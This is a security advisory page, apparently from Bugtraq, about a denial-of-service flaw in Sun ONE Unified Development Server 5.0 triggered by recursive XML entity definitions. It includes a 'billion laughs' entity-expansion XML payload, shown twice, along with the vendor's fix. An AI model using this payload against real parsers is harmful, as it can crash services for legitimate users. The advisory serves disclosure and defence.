Sun ONE Unified Development Server Recursive Document Type Definition Vulnerability
BID:6626
Info
Sun ONE Unified Development Server Recursive Document Type Definition Vulnerability
| Bugtraq ID: | 6626 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 15 2003 12:00AM |
| Updated: | Jan 15 2003 12:00AM |
| Credit: | Vulnerability announced by Sun Microsystems. |
| Vulnerable: |
Sun ONE Unified Development Server 5.0 Sun ONE Integration Server EAI Edition 3.0 |
| Not Vulnerable: | |
Discussion
Sun ONE Unified Development Server Recursive Document Type Definition Vulnerability
It has been reported that problems with the handling of recursive document type definitions (DTDs) occur in Sun ONE Unified Development Server (UDS). When a document is uploaded containing these types of constructs, the system experiences high resource consumption that can result in crash of the system, and denial of service to legitimate users.
This vulnerability may be related to Bugtraq ID 6398.
It has been reported that problems with the handling of recursive document type definitions (DTDs) occur in Sun ONE Unified Development Server (UDS). When a document is uploaded containing these types of constructs, the system experiences high resource consumption that can result in crash of the system, and denial of service to legitimate users.
This vulnerability may be related to Bugtraq ID 6398.
Exploit / POC
Sun ONE Unified Development Server Recursive Document Type Definition Vulnerability
The following example exploit has been made available by Sun:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foobar [
<!ENTITY x0 "hello">
<!ENTITY x1 "&x0;&x0;">
<!ENTITY x2 "&x1;&x1;">
<!ENTITY x3 "&x2;&x2;">
<!ENTITY x4 "&x3;&x3;">
...
<!ENTITY x98 "&x97;&x97;">
<!ENTITY x99 "&x98;&x98;">
<!ENTITY x100 "&x99;&x99;">
]>
<foobar>&x100;</foobar>
The following example exploit has been made available by Sun:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foobar [
<!ENTITY x0 "hello">
<!ENTITY x1 "&x0;&x0;">
<!ENTITY x2 "&x1;&x1;">
<!ENTITY x3 "&x2;&x2;">
<!ENTITY x4 "&x3;&x3;">
...
<!ENTITY x98 "&x97;&x97;">
<!ENTITY x99 "&x98;&x98;">
<!ENTITY x100 "&x99;&x99;">
]>
<foobar>&x100;</foobar>
Solution / Fix
Sun ONE Unified Development Server Recursive Document Type Definition Vulnerability
Solution:
Sun has made specific configuration variables available to prevent these types of attacks. See the referenced advisory for details.
Sun has made a fixed version available:
Sun ONE Unified Development Server 5.0
Solution:
Sun has made specific configuration variables available to prevent these types of attacks. See the referenced advisory for details.
Sun has made a fixed version available:
Sun ONE Unified Development Server 5.0
-
Sun ONE Unified Development Server 5.0.18
Contact your Sun support representative for further information on attaining this fixed version.
http://www.sun.com
References
Sun ONE Unified Development Server Recursive Document Type Definition Vulnerability
References:
References:
- 49922 (Sun Microsystems)